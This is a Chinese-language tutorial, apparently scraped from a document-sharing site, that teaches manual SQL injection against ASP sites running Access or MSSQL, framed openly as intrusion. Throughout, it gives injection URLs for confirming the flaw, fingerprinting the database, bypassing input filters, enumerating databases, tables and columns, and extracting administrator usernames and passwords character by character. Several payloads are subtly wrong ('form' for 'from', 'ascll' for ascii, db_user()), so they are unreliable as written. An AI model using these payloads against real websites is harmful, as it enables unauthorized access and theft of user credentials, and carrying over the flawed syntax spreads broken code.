SQL注入检测

SQL注入检测
SQL注入检测

写在前面:

现在的网络,脚本入侵十分的流行,而脚本注入漏洞更是风靡黑客界。不管是老鸟还是新起步的小菜,都会为它那巨大的威力和灵活多变的招式所着迷。正是因为注入攻击的流行,使的市面上的注入工具层出不穷。比较出名的有小竹的NBSI、教主的HDSI和啊D的注入工具等等。这大大方便的小菜们掌握注入漏洞。可是,工具是死的,注入的手法却是活的,能否根据实际情况灵活地构造SQL注入语句,得到自己想要的信息,是高手与小菜的根本区别。只用工具,而不去管它的原理,是不可能得到提高的,当然,在遇到一些特殊情况的时候,那些只会用工具的小菜们也只能放弃了。所以学会手工注入自己构造SQL注入语句是一个黑客爱好者必上的一堂课。

恶补基础:

要想学会手工注入,有一个名词是不得不提的,那就是数据库系统。

1。简介

数据库系统分为数据库和数据库管理系统!数据库是存放数据的地方,数据库管理系统则是管理数据库的软件!数据库中数据的存储节构叫数据模型!有四种常见的数据模型,分别是层次模型、网状模型、关系模型和面向对象模型。其中关系数据模型是最主要的数据模型,ACCESS、MSSQL、ORACLE等都是关系模型数据库系统。其中以ACCESS、MSSQL数据库系统最为常见!这些都是理论的知识,希望大家理解。

2。基本概念

表:表是一个关系数据库的基本组成元素!它按行与列组合排列成相关信息。通常行称为记录,列称为域。每个域称为一个字段!每一条记录都由多个字段组成。每个字段的名字叫做字段名,每个字段的值叫估字段值。表中的每一行即每一条记录都拥有想同的结构。如图1。

图1中的这张表里有14行,即14条记录。有4列,即4个字段,4个字段的名字分别叫:job_id(下面对应的1、2、3等都是这个字段的值,后面三个字段的值举一反三!) 、job_ desc、 min_lvl、max_lvl。因为本文不是专讲数据库知识的,所以这里只讲一些最重要的概念,有兴趣的朋友可以自己去查看数据库的有关资料!

3。注入的条件

只有调用数据库的动态页面才有可有存在注入漏洞,动态页面包括asp php jsp cgi 等。本文只讲对ASP页面的注入。那什么是调用数据库的页面呢?比如这样的形势:asp?id= php?id= 这样的样子的都是调用数据库的页面。"?"后面加的id的名字叫变量,注意这个变量是可以随便换的,"="号后面的值名字叫参数!这个参数也是可以变的!大家的思路一定要灵活,要学会举一反三,不要太死板。

4。注入漏洞的原理分析:

程序对用户提交的变量没有进行有效的过滤,就直接带入查询语句中,这样,我们就可以提交具有数据查询功能的语句,加入到程序将要提交的信息中去,再根据服务器返回的信息来判断数据库里的内容!光这样说大家可能不太好理解,不要紧,接着往下看。

有关的基础已经讲完了下面开始实战练习部分。

实战部分

如果是刚刚接触注入的新手朋友,我们要做的第一步就是,用鼠标右键点击桌面上的IE图标,再点属性,然后再点“高级”,然后往下拉滚动条,找到“显示友好HTTP错误信息”,把前面的勾去掉,再点“确定”,这样做是为了让我们得到更多的服务器返回的信息。

第一部分:ACCESS数据库手工注入

1。判断是否存在注入漏洞:

这个相信大家都应该知道! 就是在一个调用数据库的网址后面加上分别加上 and 1=1和 and 1=2 ,如果加入and 1=1返回正常(就是和原来没有加 and 1=1时页面样子的一样),而加入 and 1=2返回错误(和原来没有加 and 1=2时页面的样子不一样),就可以证明这个页面存在注入漏洞。比如:

https://www.360docs.net/doc/0817961985.html,/a.asp?id=7,这个网页,我们在后面加上 and 1=1(两个空格,and 前面一个,and和1=1之间一个!),网址就变成了

https://www.360docs.net/doc/0817961985.html,/a.asp?id=7 and 1=1,用IE打开这个网页,返回正常!再尝试在后面加上and 1=2,网址就变成了

https://www.360docs.net/doc/0817961985.html,/a.asp?id=7 and 1=2,同样用IE打开这个网页,返回错误!这就说明这个网页https://www.360docs.net/doc/0817961985.html,/a.asp?id=7存在注入漏洞,是一个注入点!(存在注入漏洞的网页叫注入点!)可是,并不是所有的页面都可以这样判断,有的页面不管你加入 and 1=1 还是 and 1=2,返回的都是错误的页面,难道这样的页面就没有注入漏洞吗?不一定!比如这个页面:https://www.360docs.net/doc/0817961985.html,/b.asp?id=ade7, 不管我们在后面上的是and 1=1还是and 1=2,它都返回错误的页面!这个时候我们就要尝试用另一种方法来测试漏洞了,这种方法可以说是and 1=1和and 1=2的变种方法。原来的网址是这样的:

https://www.360docs.net/doc/0817961985.html,/b.asp?id=ade7,现在我们把它变成这个样子:

[url]https://www.360docs.net/doc/0817961985.html,/b.asp?id=ade7'[/url] and '1'='1 ,用IE打开它,看看返回正不正常!如果正常,那就可以接着用这个地址来进一步测试漏洞是否存在(如果返回不正常那这个页面就很有可能不存在注入漏洞!):

[url]https://www.360docs.net/doc/0817961985.html,/b.asp?id=ade7'[/url] and '1'='2 ,用IE打开这个网址,如果返回错误的话,那这个网址https://www.360docs.net/doc/0817961985.html,/b.asp?id=1就存在注入漏洞!

A。数字型参数注入点分析

这时肯定有朋友要问了,为什么用一开始那种and 1=1 and 1=2不行呢!呵呵,先不要急,先看看这两个存在注入漏洞的页面有什么不一样?

(你不要告诉偶第二个网址比第一个网址多了几个X),相信大家已经看到了,第二个网址后跟的参数是ade7,是字符!而第一个网址后跟的参数是7,是数字!就是因为这里,才引起了测试漏洞的语句的不同!学过数据库的朋友们应该知道,在查询中,字符型的值,是要用单引号包起来的,也就是这个样子'字符型数据'。这里假设第一个注入页面所对应的查询语句是这样的(凡是调用数据库的页面都会有一条或者几条对应的查询语句,用来对数据库里的内容进行查询!)

:select * from 表名 where id=7。这是原来的那条查询语句,这条语句是正确的,可以在数据库中查询出相应的内容!可是如果我们在网址后面加上了 and 1=1,那这条查询语句就会变成select * from 表名 where id=7 and 1=1(这下知道了注入漏洞原理分析那里讲的变量没有过滤的意思了吧!),这里有必要说一些数据库的有关知识,这条语句里,and 是逻辑运算符!(这个记住就行了),用中文翻译过来就是“和”的意思!在高中的数学里讲过,用“和”来连接的两个句子,必须都是真的,不然整个句子就不是真的!比如:苹果和大象都是水果。这句话就是错的,苹果是水果,可是大象不是!这下大家应该可以理解“用“和”来连接的两个句子,必须都是真的,不然整个句子就不是真的”这句话了吧。如果换成苹果和梨都是水果,那这句话就是对的。知道了and的用处后,再回来看select * from 表名where id=7 and 1=1这个句子,and 前面的select * from 表名 where id=7肯定是对的,(为什么呢,如果这条查询语句都不对,那这个注入页而就有问题了!所以and前面的那个句子一定是对的!)。再看and后面,1=1,不用我说了吧,也是对的(难道一不等于一吗?)根据刚才说的and用处,现在我们可以判定select * from 表名 where id=7 and 1=1这条查询语句,仍然是对的!所以它还是可以正确地从数据库里查询出信息,返回给我们!

举一反三,那这个句子:select * from 表名 where id=7 and 1=2,肯定是不对的了,那这条查询语句就不能正确地从数据库里查询出信息,所以我们就会看到一个错误的页面! 以上是注入点参数是int(整数型)时的分析。

B。字符型参数注入点分析

和刚才一样,我们先来看第二个字符型注入页面里的查询语句,比如是这个select * from 表 where id='ade7'(为什么加引号?看前面吧!)。原来的查询语句是这个样子的,如果我们还按照数字型参数的那种测试漏洞的方法的话,语句就会变成这样:select * from 表where id='ade7 and 1=1'和

select * from 表 where id='ade7 and 1=2' ,因为程序会自动查询引号里的内容,如果我们按前面这两个语句这样提交的话,程序就会查询id值为ade7 and 1=1和ade7 and 1=2的记录,这样是查不到结果的(你可不要告诉我数据库里正好有两个记录的id就是ade7 and 1=1 和and 1=2)。这里可能有朋友要问了,为什么不是查询id为'ade7,然后and 1='1呢?好,我现在回答你们,就算可以查询id值为'ade7的记录,那这个句子也是错的,1怎么会等于'1呢?对吧?更何况程序是不可能查询'ade7的,更准备的说是数据库中不可能有一

个字段的值是'ade7,因为这个字符串少一个引号,如果直接把这个字符串存入数据库的话,程序会报错的!怎么样?明白了吧?现在再说用 ' and '1'='1和' and '1'='2来测试的的原理!同样是这个查询语句:

select * from 表 where id='ade7',如果我们在网址后面加了' and '1'='1,那这个查询语句就会变成

select * from 表 where id='ade7' and '1'='1'(这里最外面的那一层引号是程序自动加上的),变成这个样子!这个语句对不对呢?我们分析一下。如果我们提交个语句,那程序就会自动查询id值是ade7的记录!因为这个记录是存在的(不存在的话那就是这个网页有问题了!),然and后面跟的'1'='1'是正确的,所以这个语句是正确的!如果我们把' and '1'='1换成' and '1'='2,那语句就成了select * from 表 where id='ade7' and '1'='2',只看后面我们就可以知道这个语句对不对了!'1'怎么可能等于'2'呢?是吧?好了,字符型参数的注入点的原理就介绍到这里!

2。数据库类型的判断

在确定了一个地址是注入点后,我们首先要判断这个注入点所连接的数据库的类型!这里介绍几种简单的方法。如果一种判断不出来就再换另一种判断方法!

A。在注入点后直接加上单引号。有的时候我们可以根据服务器报错的信息来判断它用的是什么数据库。如图2!通过这个错误信息我们可以看出来这个注入点所连接的数据库的类型是ACCESS,为什么呢,仔细看!它说的是Microsoft JET Database Engine 錯誤

'80040e14' ,说明是通过JET引擎连接数据库,而不是ODBC!如果是用JET方法连接的话就说明用的是ACCESS数据库,如果是ODBC的话就说明数据库是MSSQL!这个记住就行了。其实还有详细的错误信息,它直接把数据库的类型告诉你了!因为我没有找到这样的注入点,这里就截不了图了。大家遇的到话肯定一眼就可以看出来!

B。在注入点后加上(注意,你先确定了它是注入点后再加,不是注入点你加了也没

用!): ;--(一个分号,两个横线!)比如这个网址

https://www.360docs.net/doc/0817961985.html,/article/as.asp?id=875,我们事先已经确定了它是注入点了,这样的话我们就可以在后面加上;--让它变成

https://www.360docs.net/doc/0817961985.html,/article/as.asp?id=875;-- 提交这个网址,如果页面返回正常的话,说明数据库是MSSQL。因为在MSSQL数据库里,;和--都是存在的,";" 用来分离两个语句,而"--"就是注释符,在它后面的语句都不执行!而ACCESS数据库里没有!所以如果是ACCESS的数据库,当你在注入地址

后面加上";--"的话那程序就会把";--"当成参数的一部分,这样查询就会出错!如果错误,那基本上可以肯定是ACCESS了(因为网上用这两种数据库的网站最多!)

C。用以上方法都判断不出来的话,那可以用这一招!利用ACCESS和MSSQL数据库的差异来进行判断!要用到两个查询语句!同样,如果注入点是

https://www.360docs.net/doc/0817961985.html,/article/as.asp?id=875,那我们在后面加上 and exists (select count(*) from sysobjects),那么地址就变成了

https://www.360docs.net/doc/0817961985.html,/article/as.asp?id=875 and exists (select count(*) from sysobjects)。如果页面正常返回,那就可以证明数据库是MSSQL的。我来解释一下这个语句:这个句子的意思是查询sysobjects表里的记录数大于0!(有点别扭!)如果返回正常,说明大于0,也就说明存在sysobjects这个表,因为这个表只有MSSQL数据库里才有,所以可以确定数据库的MSSQL的!如果返回错误,那就不是!那我们怎么用查询语句来判断数据库是不是ACCESS的呢!别急,往下看!我们在注入点后加上 and exists (select count(*) from msysobjects)。就成了https://www.360docs.net/doc/0817961985.html,/article/as.asp?id=875 and exists (select count(*) from msysobjects),按刚才理解MSSQL数据库的方法去理解这条语句!这里要注意,提交这个语句是不会返回正常页面的!就算是ACCESS数据库也不会返回正常的页面!因为默认情况下,我们是没有权限查询这个表里的数据的!不过WEB会提示我们“记录无法读取;'msysobjects'没有读取权限”!如果返回的是这个错误信息的话,那就证明是ACCESS数据库了!如图3!简单地来说就是两条查询语句:

and exists (select count(*) from sysobjects)

and exists (select count(*) from msysobjects)

如果第一条返回正常,那就是MSSQL数据库,如果两条都不正常,那就是ACCESS数据库了(这里只讨论MSSQL和ACCESS)

注意:上面讲的全是参数是int的时候的检测方法,如果参数是字符型的,那就先要在参数后面加上单引号,然后再在查询语句最后加上";--"

3。猜表、字段名、检测记录数、检测字段长度。

我按照工具注入的流程给大家讲!

A。猜表!

用到的语句:and exists (select count(*) from 你要猜的表名) 。在注入点后加上这句话,如果返回正常,说明你猜的表是存在的!比如

https://www.360docs.net/doc/0817961985.html,/article/as.asp?id=875 and exists (select count(*) from admin),如果返回正常,说明admin这张表存在!如果返回错误,就说明不存在!。别的表也都是这么猜!

B。猜列!

用到的语句:and (select count(列名) from 猜到的表名)>0 。在注入点后加上这句话,如果返回正常,说明你猜的列是存在的!比如

https://www.360docs.net/doc/0817961985.html,/article/as.asp?id=875 and (select count(username) from admin)>0,如果返回正常,那username这个列就存在!不过首先要确定from后面跟的表名要是存在的哦!不然你怎么猜都是错的!

C。检测记录数

用到的语句:and (select count(*) from 猜到的表名)>X (X是个数字)。在注入点后加上这句话,并不停地变换X这个数字,直到猜到准确的记录数为止!比如

https://www.360docs.net/doc/0817961985.html,/article/as.asp?id=875 and (select count(*) from admin)>2 ,这个句子是猜admin表里有几条记录的,也就是有几个管理员(因为一个管理员对应一条记录嘛!)。如果返回正常,说明admin这张表里的记录数大于2。这个时候我们把2改成别的大一点的数!比如5,如果返回错误,说明管理员的个数在2和5之间,2和5之间的整数是3和4,这个时候我们变换语句为https://www.360docs.net/doc/0817961985.html,/article/as.asp?id=875 and (select count(*) from admin)=3或者=4,哪个返回正常那管理员的个数就是哪个。如果

提交>5还返回错误,那就再取一个更大的数,再重复刚才的动作就可以猜到记录数!

D。检测字段长度

用到的语句:and (select top 1 len(列) from 表)>X (X和刚才一样!)。我来解释一下这个句子,select top 1是查询第一条数据的意思!(在WEB环境下不支持多行回显!只是一次查询的数据不能超过一行!),len是MSSQL里的一个函数,用法是len(),()里可以是字符串也可以是表达式也可以是列名!知道这些,大家应该可以看懂了吧!后面那个X的变换方法上面的一样!

二、SQL注入五步走

而我们所说的SQL注入,其原理就是由用户提交一段非法的数据库查询代码,根据其网页的返回结果,从而获得他想知道的一些敏感信息。由于这种攻击方法是以正常的访问页面为攻击途径,所以根本不会引起

防火墙的警觉,自然很难让人察觉!所以才会出现某些站点被入侵了很长时间都没有发觉这一现象的出现……

大家也看到了,SQL注入的优点是非常多的!然而我们今天的这篇文章就是教大家怎样熟练运用SQL

注入这一巧妙攻击手法的!有些人可能回问“SQL注入已经问世2年多了,而且攻击手法简单,用工具是完全可以做到傻瓜试入侵的!”是呀,正是由于越来越多的攻击手法已经逐渐被工具代替,所以才有相当大一

部分刚刚接触黑客的朋友变成了只会使用工具,而不知道其原理的伪黑客!在这里顺便说一下,刚刚进入

黑客这一边缘群体的朋友们千万要注意,凡事要敢于问为什么!千万不要急功近利,拿起工具就用!要做

到知起然而知其所以然!只有这样你的技术才会得到真正意义上的提高!

好了,我们言归正传!在这里先说一下,由于SQL注入的手法相当灵活,所以入侵的时候难免会遇到

一些预想不到的情况。所以这就要求入侵者要会对自己的入侵手法进行随机改变,并懂得变通!所以,我

们完全可以把SQL注入入侵的过程看作是一道物理题的解题过程!我这篇文章里介绍的就是一些相当于物

理公式功能的东西!好,下面我就针对目前比较流行的ASP+SQL Server这种B/S结构为大家讲述一下整

体的入侵思路,与一些其他的常用知识。

既然SQL注入就相当于作一道物理题,那么它肯定也有自己一定的步骤。根据我对SQL注入一些研究,

总结出了SQL注入之“魔鬼五步走”,希望能对大家有所帮助,并对SQL注入有能进一步的了解。

魔鬼五步走之第一步:幽魂索梦(判断漏洞,并找出注入点)

引子:在其熟睡之时,令一幽魂如其梦境,探其强弱,知其要害!以求一击致命!

这第一步,当然是找网页漏洞与注入点,而关于寻找注入点,方法还是挺多的。鉴于观看本文的大多还是初学者,所以在这里我先介绍一下在一般情况下SQL注入的形式。

一般来说,SQL注入漏洞存在的形式大多数为带有参数的ASP动态网页中,URL一般为:https://www.360docs.net/doc/0817961985.html,/123.asp?id=xx这样的格式。关于动态网页的参数,其数目是不固定的!有时可能是只有一个,有时也可能存在N个参数!关于参数的类别,是有整形参数与字符串参数之分的,不能一概而论!但是只要该ASP动态网页存在参数,并且访问了数据库,那么恭喜你,你可能找到了一个存在SQL 注入的页面!如果该站点的ASP程序员没有足够的安全意识与编程经验的话,那么出现不对必要字符进行过滤的可能性就非常大了,自然存在SQL注入攻击的可能性也会随之增大!(其实就算加上了字符过滤,我们也还是有办法的!关于这些,我会在后面讲到的。)

在你找出类似上面的网页后,接下来就可以正式开工了!不过先别急!为了照顾初学者,开工前我得先说说整形参数与字符串参数的区别!所谓的整形参数,就是指只能输入数字作为变量的参数,而字符串参数则可以同时输入数字与字符!由此可见ASP中参数一般分为两种!鉴于存在字符串与数字两种参数类型,下面我们就根据参数类型得不同来分别讲述如何判断网站是否存在SQL注入漏洞。

1.关于整形参数的判断

在这里我们不得不说一下ASP中SQL语句的“本来面目”。关于SQL语句的“本来面目”,初学者们可以做一个参考,看懂最好,当然看不懂也没关系。

例如当你输入的参数AA为整形时,在一般情况下ASP中SQL语句的原貌大致如下:

select * from 表名where 字段= AA

由上可知要判断SQL注入是否存在可以用以下方法判断:

(1.)https://www.360docs.net/doc/0817961985.html,/123.asp?id=xx'(即附加一个单引号),此时123.asp中得SQL语句就变成了select * from 表名where 字段= AA',123.asp运行异常。

( 2.)https://www.360docs.net/doc/0817961985.html,/123.asp?id=xx and 1=1,123.asp运行正常,而且与https://www.360docs.net/doc/0817961985.html,/123.asp?id=xx运行结果相同。

(3.)https://www.360docs.net/doc/0817961985.html,/123.asp?id=xx and 1=2,123.asp运行异常。

假如说以上三种判断方法都成功,则123.asp中一定存在SQL注入漏洞。

2.关于字符串型参数的判断

关于字符串型参数的SQL原貌与整形参数大体相同,即当你输入的参数AA为整形时,在一般情况下ASP中SQL语句的原貌大致如下:

select * from 表名where 字段= 'AA'

所以,对于字符串型参数也可以用三种方法判断。

(1.)https://www.360docs.net/doc/0817961985.html,/123.asp?id=xx'(即附加一个单引号),此时123.asp中得SQL语句就变成了select * from 表名where 字段= AA',123.asp运行异常。

( 2.)https://www.360docs.net/doc/0817961985.html,/123.asp?id=xx and '1'='1',123.asp运行正常,而且与https://www.360docs.net/doc/0817961985.html,/123.asp?id=xx运行结果相同。

(3.)https://www.360docs.net/doc/0817961985.html,/123.asp?id=xx and '1'='2',123.asp运行异常。

如果以上三种方法都满足的话,那么123.asp有漏洞就成为一个事实了!

有关于判断SQL注入漏洞的问题,用这两组方法就已经足够了!但有些经验丰富的ASP程序员会对我们所输入的非法变量做一定的过滤,这当然不可能难倒我们!对于绝大多数的过滤,一般用以下方法就可以轻松将其绕过。

1.大小写混合法:因为一般ASP采用的编程语言为VBScript(简称VBS),而VBS语言并不区分大小写!而程序员过滤的通常为全部大写或全部小写的字符串,就算是用了大小写混合的过滤字符串,也往往会忽视某几种情况,所以大小写混合法的成功率还是挺高的。为了照顾初学者,我在这里举一个例子。例如用AbCd代替Abcd、aBCD等字符。

2.Unicode法:关于“Unicode”,相信细心的初学者在本文文档的“编码”一栏里应该看过。它是很多国际大公司联合起来制定的一套可以用于全世界所有国家的字符编码,不管哪一个国家的文字,均可以以两个Byte 来表示。所以在IIS中(即系统的IIS服务,默认不安装),以Unicode字符实现国际化,所以我们完全可以把输入的字符转化成Unicode字符串在进行输入,例如你输入AB CD与输入AB%20CD的效果是完全一样的!

3.ASCLL码法:与Unicode码相似,ASCLL码的诞生是鉴于信息交换的重要意义以及作为统一文字符号的编码标准,从而达到让不同品牌机型的计算机都能使用同一套标准化的信息交换码,所以美国国家标准局特别为此制定了ASCLL码(即:America Standard Code for Information Inetrchange,英文大意为:美国信息交换标准码),作为计算机传输数据的标准编码,ASCLL码早期使用7个位来表示英文字母、数字0到9以及其他的标点符号等,而现在以改为8个位,共可以表示256个不同的文字与符号,因此,ASCLL 码是现在计算机系统中使用最普遍也是最广泛的英文标准码,相对于ASCLL码,中文系统中使用最广泛的内码则为Big-5码。看到这,初学者们知道ASCLL码的基本意义后,应该不难想出我们的第三种方法了。不错,是几乎雷同于Unicode法的方法,就是把我们想要输入的部分或全部字符都用ASCLL码代替,如a=chr(97)等。

4.重写过渡法:这种方法的原理最简单,也应该是最易用的方法了!其原理有点借力打力的味道,好了,在多说也没用,举个例子大家就明白了。例如有个网页对用户提交的信息过滤了CMD这个单词,那么就可以将提交的内容改为CCMDMCDMD,为了便于大家理解,我在相应的位置加了空格,大家这时可以在看看C CDM M CMD D,看到这,我想大家应该明白了,在网页将那两个CMD过滤掉之后,剩下的字符提交进去后正好组成了CMD这个单词,从而便达到了我们的目的!

好了,关于“魔鬼五步走之第一步:幽魂索梦”到这里就算全部结束了!我们在来回忆一下这一步所讲的内容,很简单,就是教大家怎样判断网页上是否存在SQL注入漏洞,与怎样绕过网页的过滤这两部分。如果你认为上面的内容已经学好了,那么我们就可以进行下一步了……

魔鬼五步走之第二步:追魂摄魄(判断后台数据库类型)

引子:令黑白无常追其灵魂,摄其心魄!分而处之,对症下药。以求事半功倍!

当我们判断某个网页确实存在SQL注入漏洞的时候,大家就可以开始魔鬼五步走的地二步了!

关于数据库,目前各个网站上使用最普遍的数据库就是ACCESS和SQL Server了,鉴于时间有限,我就先对这两种数据库进行讲解。

熟悉数据库的朋友都应该知道,ACCESS和SQL Server这两种数据库都支持T-SQL标准。虽然这样,但还是有不同之处的,所以针对数据库的不同也同样有不同的攻击方法!理所当然,我们现在要做的就是判断存在SQL注入漏洞网页后面数据库的类型。下面我就为大家介绍几种常见的方法。

正所谓知己知彼方能百战百胜!SQL Server对我们黑客似乎有什么特别的感情,因为如果你正在入侵一个以SQL Server作为数据库的网站时,你不但可以判断其数据库类型,还可以得到其他一些有用的信息!导致这种情况发生的正是由于SQL Server数据库中有user,db_name()等系统变量,利用这些系统变量就可以达到我们上面所说的目的!我在这里简单的给大家举几个例子:

(1.)https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and user>0,在向其提交这个地址时,我们就可以判断此网站是否使用了SQL Server数据库!在此同时,我们还能得到当前连接到数据库的用户名!

(2.)https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and db_user()>0,在向其提交这个请求时,我们同样可以判断此网站是否使用了SQL Server数据库!在此同时,我们还能得到当前正在使用的数据库名!

这些,都是根据SQL Server的系统变量来进行的,除此之外,我们还可以根据系统表来判断。因为SQL Server的系统表为sysobjects,在WEB环境下有访问权限,而ACCESS的系统表为msysobjects,所以在WEB环境下没有访问权限!所以我们可以根据这个简单的区别来以系统表的特性判别数据库的类型。请看以下例子:

(1.)https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select count(*) form sysobjects)>0

(2.)https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select count(*) form msysobjects)>0

如果数据库是SQL Server,则第一条地址成功提交后123.asp一定运行正常,而第二条则会运行异常!如

果是ACCESS数据库时,那么这两条都会异常!

看到这,我想大家应该会手工判断数据库类型了吧?只有学会了这些,我们才能顺利的进行更深一步的

入侵!还是那句话:如果你认为上面的内容已经学好了,那么我们就可以进行下一步了……

魔鬼五步走之第三步:魔音摄心(猜解后台数据库位置)

引子:魔王一吼,五音攻心!以求直接取其要害,攻其软肋!

首先恭喜你顺利的走过了前两步!正所谓一山更比一山高,现在进行的第三步,正是SQL注入的核心

部分了!同样,这也是整个SQL注入过程中最难的一步,当然更是关键的一步!所以大家现在一定要打起精神来!对于这一步,我也总结出一些规率!希望对大家有用,但是不要忘了“我们完全可以把SQL注入入侵的过程看作是一道物理题的解题过程!”这一句话!但同样也要记住我教大家的是“物理公式”,并非现

成的“答案”!当然,这里也是有很多技巧的,只要大家能熟练的运用这些技巧,那么入侵也就只是时间的

问题了!

接触过网战建设的朋友们都应知道,在利用WEB脚本语言做前台,数据库做后台的系统中,必须有一

些是来自于用户提交的信息,例如我们登陆论坛时提交的用户名、密码,或我们提交出去的搜索字符串等。我们的目的就是利用这些由我们提交的信息或是我们可以更改的信息,从而将SQL语句更改成我们需要的语句。因此,我们可以利用SQL的强大的功能来猜解数据库名称,以至于每张表的表名,甚至于你想知道的一切(例如用户名、密码等)!好了,下面我们就逐一讲解如何猜解数据库。

1.猜解‘数据库名称’的方法

好的,我们先提交一个地址!https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select count(*) form master.dbo.sysdatabases where name>1 and dbid=6) <>0

这是什么呀?呵呵!不要急,听我慢慢解释!我们所利用的就是有关于dbid的值由1到5是系统所用的,由此可推出用户如果自己建的话一定是从6开始的!又鉴于name字段是一个字符型的字段,它和数字比较会出错,所以我们提交了name>1,从而导致123.asp工作异常!就这样,我们得到了一个数据库名。由此可以推出,只要把dbid分别改成7、8、9、10……就会得到所有的数据库名。

2.猜解‘用户名表名’的方法

好了,假设我们上面得到了一个数据库名hackerDB,就可以猜解其中的用户名表名了!关于用户名表名的猜解方法一般分为两种,即暴力破解法与读取信息法,下面我就针对这两种方法进行讲解。

(1.)暴力破解法:这个方法就是根据个人经验猜解表名,大多情况下成功率较高的有:user、users、userone、userlist、userinfo、member、members、memberlist、memberinfo、admin、adminuser、admins、systemuser、systemusers、systemaccouns、sysuser、sysusers、sysaccouns等。当然,这是一个体力活,最好还是用专用的程序猜解!然后我们就通过SQL语句进行漫长的判断……

好,我们再提交一个地址https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select count(*) form hackerDB.dbo.

上面提到的表名)>0,如果表名存在,那么123.asp则工作正常,反之异常。就这样一次次地循环,直到猜到系统帐号表的名称为止。

(2.)读取信息法:由于SQL Server内有一个存放系统核心信息的表sysobjects!而且这个表还可以通过WEB来进行访问!所以,我们就以它为突破口,让它暴出用户名表名!

由于xtype='U' and status>0所代表的是用户自己建的表,所以我们可以有此来分析每一个用户所建立的表与名称,由此便可以得到用户表的名称,下面我们一点点的来学习。

1.)提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select top 1 name from hackerDB.dbo.sysobjects where xtype='U' and status>0 )>0,提交完成后,我们就可以得到第一个用户名建立的表名,并使其与整数比较,很显然,导致的结果是123.asp工作异常!而我们恰恰就是利用这一点来发现表的名称的。

2.)提交地址:https://www.360docs.net/doc/0817961985.html,/12

3.asp?p=AA and (select top 1 name from hackerDB.dbo.sysobjects where xtype='U' and status>0 and name not in('abc'))>0,提交完成后,我们就可以得到第二个用户名建立的表名,所以大家可以以此类推,从而得到所有表的名称。

3.猜解‘用户名字段与密码字段’的方法

OK!这次我们再假设这次我们得到的用户名表名的名称为hackername,我们就可以进行下一步了!

由于数据库的特点,我们所猜解到的hackername表中一定有一个用户名字段与密码字段,当然,只有我们得到这两个字段的名称,才有希望得到相关内容……对于它,我们同样可以用暴力破解法与读取信息法这两种方法进行破解!好了,再忍耐一下,就要到关键时刻了!希望就在眼前呀!

(1.)暴力破解法:这个方法就是根据个人经验猜解字段名称,关于用户名字段,大多情况下成功率较高的有:user、users、userone、userlist、userinfo、member、members、memberlist、memberinfo、admin、adminuser、admins、systemuser、systemusers、systemaccouns、sysuser、sysusers、sysaccouns等。密码字段则常用:password、pass、pwd、psword、pword、passwd等……总之,这还是体力活一件!依然推荐用专用的程序猜解!不然的话,强烈建议你先买几贴狗皮膏药贴到手背上,然后再人工猜解……

好了,言归正传,我们提交这样的一个地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select count(上面提到的字段名) form hackerDB.dbo.hackername)>0

怎么样,看着眼熟吧?对!我们的目的就是通过“select count(字段名) form 表名”这一语句来得到表的行数,由此推出,只要字段名存在,那么123.asp就工作正常,否则就会异常。就这样一次次地循环,直到猜到两个字段的名称为止。

(2.)读取信息法:我们再这里主要运用select top 1 col_name(object_id('hackername'),1) from hackerDB.dbo.sysobjects这一语句进行判断,提交完成后,我们就可以从sysobjects中得到以知表名的第一个字段名,并使其与整数比较,很显然,导致的结果是123.asp运行异常!而我们恰恰就是利用这一点来发现表的名称的。

提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select top 1 col_name(object_id('hackername'),1) from hackerDB.dbo.sysobjects)>0

在这里,我们把col_name(object_id('h ackername'),1)中的1,依次换成2、3、3、4、5……就可得到所有的字段名称。

3.猜解‘用户名与密码’的方法

猜解用户名与密码的方法有两种常用方法,这也是猜解方法中最有效的两种方法之一,他们分别是“ASCLL码解码法”与“傻瓜试猜解法(也叫…简单法?)”这两种方法。下面我就针对这两种方法逐一进行讲解。

(1.)ASCLL码解码法

我们先说说这个方法的思路,其实很简单,说白了就是先猜出字段的长度,然后在依次猜出每一位的值。所以用这种方法可以猜解用户名与密码这两项,方法也自然是一样的。好了,我们举例说明。

提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select top 1 len(username) form hackerDB.dbo.hackername)=X

其中X可以是1、2、3、4……n的任意整数,username指的是用户名字段的名称,hackername为表的名称。当我们提交完毕后,且123.asp运行正常时,则X所对应的数就为第一个用户名的长度。举个例子…

例:当输入https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select top 1 len(username) form hackerDB.dbo.hackername)=6时,123.asp运行正常,则第一个用户名的长度就为6。

当我们得到一个用户名的长度时,就可以对其进行猜解。

提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select top 1 ascll(substring(username,m,1)) form hackerDB.dbo.hackername)=Y

其中m的值是从1到我们上面得到用户名的长度之间(例如:当用户名的长度为6时,m的取值就为1、2、3、4、5、6中任意一个),当m为1时,则我们猜解的就为用户名第一位的值,当m为2时,则我们猜解的就为用户名第二位的值…以此类推。这里n的值则是从1~9,a~z,A~Z之间的ASCLL码值,转换成数字就是从1到128之间的任意值。还有username指的是用户名字段的名称,hackername为表的名称相信大家应该都知道了吧?举个例子…

例:当我们输入https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select top 1 ascll(substring(username,2,1)) form hackerDB.dbo.hackername)=80时123.asp运行正常,则此用户名的第“2”位为P(P的ASCLL码为80)

到这里有关于ASCLL码解码法的介绍就告一段落了!最后在提几句,很多时候我们得到的密码可能是经过MD5等方式加密的,所以还需专用工具破解……

(2.)傻瓜试猜解法

这个方法主要是通过使123.asp运行异常来得知用户名与密码的值。

我们先讲猜解用户名!提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select top 1 flag from hackerDB.dbo.hackername where username>1)

其中flag为hackername表中的一个字段,username为用户名字段,此时如果123.asp运行异常,就能得到name的值。所以你可以用同样的方法来猜解出表中的所有用户名。

当我们得到一个用户名的值时,我们提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and (select top 1 flag from hackerDB.dbo.hackername where pwd>1)

